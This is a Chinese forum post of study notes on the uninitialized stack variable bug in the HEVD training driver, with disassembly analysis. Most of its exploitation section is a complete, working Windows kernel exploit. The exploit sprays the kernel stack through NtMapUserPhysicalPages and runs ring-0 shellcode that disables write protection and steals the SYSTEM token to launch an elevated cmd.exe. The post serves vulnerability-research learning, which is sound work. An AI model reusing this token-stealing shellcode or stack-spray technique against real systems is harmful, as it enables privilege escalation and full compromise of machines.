首页
论坛
课程
招聘
[原创]HEVD学习笔记之未初始化栈变量
2021-11-10 15:19 10011

[原创]HEVD学习笔记之未初始化栈变量

2021-11-10 15:19
10011

HEVD介绍和实验环境请看:HEVD学习笔记之概述

一.漏洞原理

栈中的变量根据编译器的编译结果,会对其进行不同的初始化操作。在对栈中变量的之前,需要对其进行正确的赋值操作,比如下面这样

#include <windows.h>
#include <cstdio>

void test()
{
	printf("test\n");
}

int main()
{
	void (*pFunc)();

	pFunc = test;

	(*pFunc)();

    return 0;
}

函数指针pFunc在调用之前被正确的赋值了test的函数地址,那么就会正常调用test函数

可如果在使用之前没有正确的赋值

#include <windows.h>
#include <cstdio>

void test()
{
	printf("test\n");
}

int main()
{
	void (*pFunc)();

	(*pFunc)();

    return 0;
}

那么变量保存的内容就是编译器默认的结果,此时对它的使用就会产生错误

二.漏洞分析

该函数在函数地址表中的第12个函数,所以对应的IOCTL是0x222003 + 11 * 4。

PAGE:00444238 loc_444238:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:00444238                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:00444238                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236463
PAGE:0044423E                 push    offset aHevdIoctlUnini ; "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_"...
PAGE:00444243                 push    3               ; Level
PAGE:00444245                 push    4Dh             ; ComponentId
PAGE:00444247                 call    esi ; DbgPrintEx
PAGE:00444249                 add     esp, 0Ch
PAGE:0044424C                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:0044424D                 push    edi             ; 将IRP的指针入栈
PAGE:0044424E                 call    UninitializedMemoryStackIoctlHandler
PAGE:00444253                 push    offset aHevdIoctlUnini ; "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_"...
PAGE:00444258                 jmp     loc_4440BF

将CurrentStackLocation和IRP入栈以后,调用UninitializedMemoryStackIoctlHandler。

PAGE:004460E8 arg_CurrentStackLocation= dword ptr  0Ch
PAGE:004460E8
PAGE:004460E8                 push    ebp
PAGE:004460E9                 mov     ebp, esp
PAGE:004460EB                 mov     eax, [ebp+arg_CurrentStackLocation]
PAGE:004460EE                 mov     ecx, STATUS_UNSUCCESSFUL
PAGE:004460F3                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]
PAGE:004460F6                 test    eax, eax
PAGE:004460F8                 jz      short loc_446102
PAGE:004460FA                 push    eax             ; void *
PAGE:004460FB                 call    TriggerUninitializedMemoryStack
PAGE:00446100                 mov     ecx, eax
PAGE:00446102
PAGE:00446102 loc_446102:                             ; CODE XREF: UninitializedMemoryStackIoctlHandler+10↑j
PAGE:00446102                 mov     eax, ecx
PAGE:00446104                 pop     ebp
PAGE:00446105                 retn    8
PAGE:00446105 UninitializedMemoryStackIoctlHandler endp

在该函数中,将输入缓冲区指针入栈以后调用TriggerUninitializedMemoryStack

PAGE:00445FFA ; int __stdcall TriggerUninitializedMemoryStack(void *)
PAGE:00445FFA TriggerUninitializedMemoryStack proc near
PAGE:00445FFA                                         ; CODE XREF: UninitializedMemoryStackIoctlHandler+13↓p
PAGE:00445FFA
PAGE:00445FFA var_110         = dword ptr -110h
PAGE:00445FFA var_Value       = dword ptr -10Ch
PAGE:00445FFA var_FuncAddr    = dword ptr -108h
PAGE:00445FFA ms_exc          = CPPEH_RECORD ptr -18h
PAGE:00445FFA arg_InputBuffer = dword ptr  8
PAGE:00445FFA
PAGE:00445FFA                 push    100h
PAGE:00445FFF                 push    offset stru_402520
PAGE:00446004                 call    __SEH_prolog4_GS
PAGE:00446009                 mov     esi, [ebp+arg_InputBuffer] ; 将输入缓冲区指针赋给esi
PAGE:0044600C                 xor     edi, edi        ; 将edi清0
PAGE:0044600E                 mov     [ebp+ms_exc.registration.TryLevel], edi
PAGE:00446011                 push    1               ; Alignment
PAGE:00446013                 push    0F0h            ; Length
PAGE:00446018                 push    esi             ; Address
PAGE:00446019                 call    ds:ProbeForRead
PAGE:0044601F                 mov     esi, [esi]      ; 将输入缓冲区中的内容保存到esi

函数首先对输入缓冲区进行可读检查,并把前4字节的内容保存到esi。

PAGE:00446048                 mov     eax, 0BAD0B0B0h
PAGE:0044604D                 cmp     esi, eax
PAGE:0044604F                 jnz     short loc_446061
PAGE:00446051                 mov     [ebp+var_Value], eax
PAGE:00446057                 mov     [ebp+var_FuncAddr], offset UninitializedMemoryStackObjectCallback

接着会判断esi是否等于0x0BAD0B0B0,如果等于则会对局部变量var_FuncAddr赋值为函数地址UninitializedMemoryStackObjectCallback,该函数的实现如下

PAGE:00446108 UninitializedMemoryStackObjectCallback proc near
PAGE:00446108                                         ; DATA XREF: TriggerUninitializedMemoryStack+5D↑o
PAGE:00446108                 push    offset aUninitializedM_0 ; "[+] Uninitialized Memory Stack Object C"...
PAGE:0044610D                 push    3               ; Level
PAGE:0044610F                 push    4Dh             ; ComponentId
PAGE:00446111                 call    ds:DbgPrintEx
PAGE:00446117                 add     esp, 0Ch
PAGE:0044611A                 retn
PAGE:0044611A UninitializedMemoryStackObjectCallback endp

无论是否对局部变量进行初始化都会执行接下来的代码,判断保存的局部变量中的内容是否为0,如果不为0,则会将其当初函数地址调用

PAGE:00446091                 mov     eax, [ebp+var_FuncAddr] ; 局部变量中的内容保存到eax中
PAGE:00446097                 test    eax, eax        ; 判断eax是否为0
PAGE:00446099                 jz      short loc_4460CC
PAGE:0044609B                 call    eax             ; 对eax保存的函数地址进行调用

由于无论是否对栈变量var_FuncAddr进行赋值,函数都会将它取出进行调用,在没有初始化的情况下,就会产生漏洞。

三.漏洞利用

由上分析可以知道,如果输入缓冲区保存的内容是0x0BAD0B0B0,函数会对局部变量进行正确初始化并调用

而如果保存的不是0x0BAD0B0B0,此时会调用的就是未初始化的栈变量


由于此时的Callback是无法预测的,所以要利用这个漏洞,就需要用到栈喷射技术。该技术的核心是使用未文档化的NtMapUserPhysicalPages的函数,通过该函数可以实现将数据拷贝到内核栈上,最多可以拷贝1024*4(32位)字节数据。

完整的exp代码如下

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")

#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define INPUT_BUFFER_LENGTH 4

typedef NTSTATUS(WINAPI* pFnNtMapUserPhysicalPages)(PVOID VirtualAddress,
													ULONG_PTR NumberOfPages,
													PULONG_PTR UserPfnArray);
void ShowError(PCHAR msg, DWORD ErrorCode);
VOID Ring0ShellCode();

BOOL g_bIsExecute = FALSE;

int main()
{
	NTSTATUS status = STATUS_SUCCESS;
	HANDLE hDevice = NULL;
	DWORD dwReturnLength = 0, i = 0;
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONST DWORD dwIoCtl = 0x222003 + 11 * 4;
	HMODULE hDll = NULL;
	pFnNtMapUserPhysicalPages NtMapUserPhysicalPages = NULL;
	PDWORD pFuncAddr = NULL;	// 要复制到栈上的数据

		// 打开驱动设备
	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE,
						 0,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 0);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		ShowError("CreateFile", GetLastError());
		goto exit;
	}

	hDll = LoadLibrary("ntdll.dll");
	if (hDll == NULL)
	{
		ShowError("LoadLibrary", GetLastError());
		goto exit;
	}

	NtMapUserPhysicalPages = (pFnNtMapUserPhysicalPages)GetProcAddress(hDll, "NtMapUserPhysicalPages");
	if (NtMapUserPhysicalPages == NULL)
	{
		ShowError("GetProcAddress", GetLastError());
		goto exit;
	}

	pFuncAddr = (PDWORD)malloc(1024 * 4);
	if (pFuncAddr == NULL)
	{
		ShowError("malloc", GetLastError());
		goto exit;
	}

	memset(pFuncAddr, 0x41, 1024 * 4);

	for (i = 0; i < 1024; i++)
	{
		*(PDWORD)(pFuncAddr + i) = (DWORD)&Ring0ShellCode;
	}

	NtMapUserPhysicalPages(NULL, 1024, pFuncAddr);

	DWORD dwInput = 0;

	dwInput = 0;
	// 与驱动设备进行交互,触发漏洞
	if (!DeviceIoControl(hDevice,
		dwIoCtl,
		&dwInput,
		INPUT_BUFFER_LENGTH,
		NULL,
		0,
		&dwReturnLength,
		NULL))
	{
		ShowError("DeviceIoControl", GetLastError());
		goto exit;
	}

	if (g_bIsExecute)
	{
		printf("Ring0 代码执行完成\n");
		si.cb = sizeof(si);
		if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
			NULL,
			NULL,
			NULL,
			FALSE,
			CREATE_NEW_CONSOLE,
			NULL,
			NULL,
			&si,
			&pi))
		{
			printf("CreateProcess Error\n");
			goto exit;
		}
	}

exit:
	if (hDevice) NtClose(hDevice);
	if (pFuncAddr)
	{
		free(pFuncAddr);
		pFuncAddr = NULL;
	}
	system("pause");

	return 0;
}

void ShowError(PCHAR msg, DWORD ErrorCode)
{
	printf("%s Error 0x%X\n", msg, ErrorCode);
}

VOID Ring0ShellCode()
{
	// 关闭页保护
	__asm
	{
		cli
		mov eax, cr0
		and eax, ~0x10000
		mov cr0, eax
	}

	__asm
	{
		// 取当前线程
		mov eax, fs:[0x124]
		// 取线程对应的EPROCESS
		mov esi, [eax + 0x150]
		mov eax, esi
	searchWin7 :
		mov eax, [eax + 0xB8]
		sub eax, 0x0B8
		mov edx, [eax + 0xB4]
		cmp edx, 0x4
		jne searchWin7
		mov eax, [eax + 0xF8]
		mov[esi + 0xF8], eax
	}

	// 开起页保护
	__asm
	{
		mov eax, cr0
		or eax, 0x10000
		mov cr0, eax
		sti
	}

	g_bIsExecute = TRUE;
}

四.参考资料


【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 6小时前 被1900编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回